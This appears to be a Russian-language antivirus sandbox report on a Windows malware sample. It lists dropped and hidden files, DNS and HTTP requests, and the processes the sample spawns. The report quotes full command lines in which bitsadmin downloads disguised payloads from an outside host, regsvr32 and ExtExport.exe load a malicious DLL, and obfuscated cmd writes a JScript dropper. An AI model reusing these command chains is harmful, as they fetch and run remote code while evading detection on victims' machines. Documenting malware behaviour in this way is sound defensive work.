Техническая информация
Вредоносные функции
Создает и запускает на исполнение
- '%WINDIR%\explorer.exe' /c, C:\Users\Public\Documents\mbvhfd2.js
Изменения в файловой системе
Создает следующие файлы
- C:\users\public\documents\mbvhfd2.js
- nul
- %APPDATA%\yss3835199\bitb3a2.tmp
- %APPDATA%\yss3835199\bitf966.tmp
- %APPDATA%\yss3835199\bit975.tmp
- %APPDATA%\yss3835199\bit18f7.tmp
- %APPDATA%\yss3835199\bit28a7.tmp
- %APPDATA%\yss3835199\bit3990.tmp
- %APPDATA%\yss3835199\bit4a0c.tmp
- %APPDATA%\yss3835199\bit5b05.tmp
- %APPDATA%\yss3835199\bit713d.tmp
- %APPDATA%\yss3835199\bit817b.tmp
- %APPDATA%\yss3835199\bit91b8.tmp
- %APPDATA%\yss3835199\bita168.tmp
- %APPDATA%\yss3835199\r1.log
- C:\users\public\h
Присваивает атрибут 'скрытый' для следующих файлов
- %APPDATA%\yss3835199\bitb3a2.tmp
- %APPDATA%\yss3835199\bitf966.tmp
- %APPDATA%\yss3835199\bit975.tmp
- %APPDATA%\yss3835199\bit18f7.tmp
- %APPDATA%\yss3835199\bit28a7.tmp
- %APPDATA%\yss3835199\bit3990.tmp
- %APPDATA%\yss3835199\bit4a0c.tmp
- %APPDATA%\yss3835199\bit5b05.tmp
- %APPDATA%\yss3835199\bit713d.tmp
- %APPDATA%\yss3835199\bit817b.tmp
- %APPDATA%\yss3835199\bit91b8.tmp
- %APPDATA%\yss3835199\bita168.tmp
Перемещает следующие файлы
- %APPDATA%\yss3835199\bitb3a2.tmp в %APPDATA%\yss3835199\mammonsysdwwn.gif
- %APPDATA%\yss3835199\bitf966.tmp в %APPDATA%\yss3835199\mammonsysc.jpg
- %APPDATA%\yss3835199\bit975.tmp в %APPDATA%\yss3835199\mammonsysa.jpg
- %APPDATA%\yss3835199\bit18f7.tmp в %APPDATA%\yss3835199\mammonsysb.jpg
- %APPDATA%\yss3835199\bit28a7.tmp в %APPDATA%\yss3835199\mammonsysdx.gif
- %APPDATA%\yss3835199\bit3990.tmp в %APPDATA%\yss3835199\mammonsysg.gif
- %APPDATA%\yss3835199\bit4a0c.tmp в %APPDATA%\yss3835199\mammonsysgx.gif
- %APPDATA%\yss3835199\bit5b05.tmp в %APPDATA%\yss3835199\mammonsysi.gif
- %APPDATA%\yss3835199\bit713d.tmp в %APPDATA%\yss3835199\mammonsysxa.~
- %APPDATA%\yss3835199\bit817b.tmp в %APPDATA%\yss3835199\mammonsysxb.~
- %APPDATA%\yss3835199\bit91b8.tmp в %APPDATA%\yss3835199\mammonsysxc.~
- %APPDATA%\yss3835199\bita168.tmp в %APPDATA%\yss3835199\sqlite3.dll
Сетевая активность
TCP
Запросы HTTP GET
- http://0d####.##zn4bt4525p04.com.de/?01#
UDP
- DNS ASK 0d####.##zn4bt4525p04.com.de
- DNS ASK 51####.##thjjl8t8bh35.com.de
Другое
Ищет следующие окна
- ClassName: 'OSKMainClass' WindowName: ''
Создает и запускает на исполнение
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\mbvhfd2.js"
- '<SYSTEM32>\cmd.exe' /c cd "%ProgramFiles(x86)%\Internet Explorer\" && ExtExport.exe "%APPDATA%\YSS3835199\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C "echo %APPDATA%\YSS3835199\>C:\Users\Public\h"&& exit' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /V /C "echo xXx>%APPDATA%\YSS3835199\\r1.log"&& exit' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 74838 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsyshh33.dll.zip %APPDATA%\YSS3835199\sqlite3.dll' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 53310 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysxc.gif.zip %APPDATA%\YSS3835199\mammonsysxc.~' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 88801 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysxb.gif.zip %APPDATA%\YSS3835199\mammonsysxb.~' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 33235 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysxa.gif.zip %APPDATA%\YSS3835199\mammonsysxa.~' (со скрытым окном)
- '<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\YSS3835199\sqlite3.dll"' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 84016 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysi.gif.zip %APPDATA%\YSS3835199\mammonsysi.gif' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 24582 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysg.gif.zip %APPDATA%\YSS3835199\mammonsysg.gif' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 96527 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysdx.gif.zip %APPDATA%\YSS3835199\mammonsysdx.gif' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 41209 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysb.jpg.zip %APPDATA%\YSS3835199\mammonsysb.jpg' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 33236 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysa.jpg.zip %APPDATA%\YSS3835199\mammonsysa.jpg' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 97567 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysc.jpg.zip %APPDATA%\YSS3835199\mammonsysc.jpg' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 76800 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysdwwn.gif.zip %APPDATA%\YSS3835199\mammonsysdwwn.gif' (со скрытым окном)
- '<SYSTEM32>\wscript.exe' "C:\Users\Public\Documents\mbvhfd2.js"' (со скрытым окном)
- '<SYSTEM32>\bitsadmin.exe' /transfer 37683 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysgx.gif.zip %APPDATA%\YSS3835199\mammonsysgx.gif' (со скрытым окном)
- '<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit' (со скрытым окном)
Запускает на исполнение
- '<SYSTEM32>\cmd.exe' /S /D /c" sEt/p YIFibmz="%DGZ:IADYSF=%%869aIFL:1BBBA=/%" 0<nul 1>C:\Users\Public\Documents\mbvhfd2.js"
- '<SYSTEM32>\regsvr32.exe' /s "%APPDATA%\YSS3835199\sqlite3.dll"
- '%ProgramFiles(x86)%\internet explorer\extexport.exe' "%APPDATA%\YSS3835199\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}
- '<SYSTEM32>\cmd.exe' /c cd "%ProgramFiles(x86)%\Internet Explorer\" && ExtExport.exe "%APPDATA%\YSS3835199\sqlite3.dll" 2 3 4 FIREFOX {00000000-0000-0000-0000-000000000000}
- '<SYSTEM32>\cmd.exe' /V /C "echo %APPDATA%\YSS3835199\>C:\Users\Public\h"&& exit
- '<SYSTEM32>\cmd.exe' /V /C "echo xXx>%APPDATA%\YSS3835199\\r1.log"&& exit
- '<SYSTEM32>\bitsadmin.exe' /transfer 74838 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsyshh33.dll.zip %APPDATA%\YSS3835199\sqlite3.dll
- '<SYSTEM32>\bitsadmin.exe' /transfer 53310 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysxc.gif.zip %APPDATA%\YSS3835199\mammonsysxc.~
- '<SYSTEM32>\bitsadmin.exe' /transfer 88801 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysxb.gif.zip %APPDATA%\YSS3835199\mammonsysxb.~
- '<SYSTEM32>\bitsadmin.exe' /transfer 33235 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysxa.gif.zip %APPDATA%\YSS3835199\mammonsysxa.~
- '<SYSTEM32>\bitsadmin.exe' /transfer 84016 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysi.gif.zip %APPDATA%\YSS3835199\mammonsysi.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer 37683 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysgx.gif.zip %APPDATA%\YSS3835199\mammonsysgx.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer 24582 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysg.gif.zip %APPDATA%\YSS3835199\mammonsysg.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer 96527 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysdx.gif.zip %APPDATA%\YSS3835199\mammonsysdx.gif
- '<SYSTEM32>\bitsadmin.exe' /transfer 41209 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysb.jpg.zip %APPDATA%\YSS3835199\mammonsysb.jpg
- '<SYSTEM32>\bitsadmin.exe' /transfer 33236 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysa.jpg.zip %APPDATA%\YSS3835199\mammonsysa.jpg
- '<SYSTEM32>\bitsadmin.exe' /transfer 97567 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysc.jpg.zip %APPDATA%\YSS3835199\mammonsysc.jpg
- '<SYSTEM32>\bitsadmin.exe' /transfer 76800 /priority foreground https://51iorn.qlthjjl8t8bh35.com.de/09/mammonsysdwwn.gif.zip %APPDATA%\YSS3835199\mammonsysdwwn.gif
- '<SYSTEM32>\cmd.exe' /S /D /c" echo XXMIEUSF47886IUULK340DEEYYSF 1>nul"
- '<SYSTEM32>\cmd.exe' /S /D /c" exit 1>nul"
- '<SYSTEM32>\cmd.exe' /S /D /c" cd %WINDIR% 1>nul"
- '<SYSTEM32>\cmd.exe' /S /D /c" md \ |"
- '<SYSTEM32>\cmd.exe' /c echo %time% && timeout 4000 > NUL && exit
- '<SYSTEM32>\timeout.exe' 4000
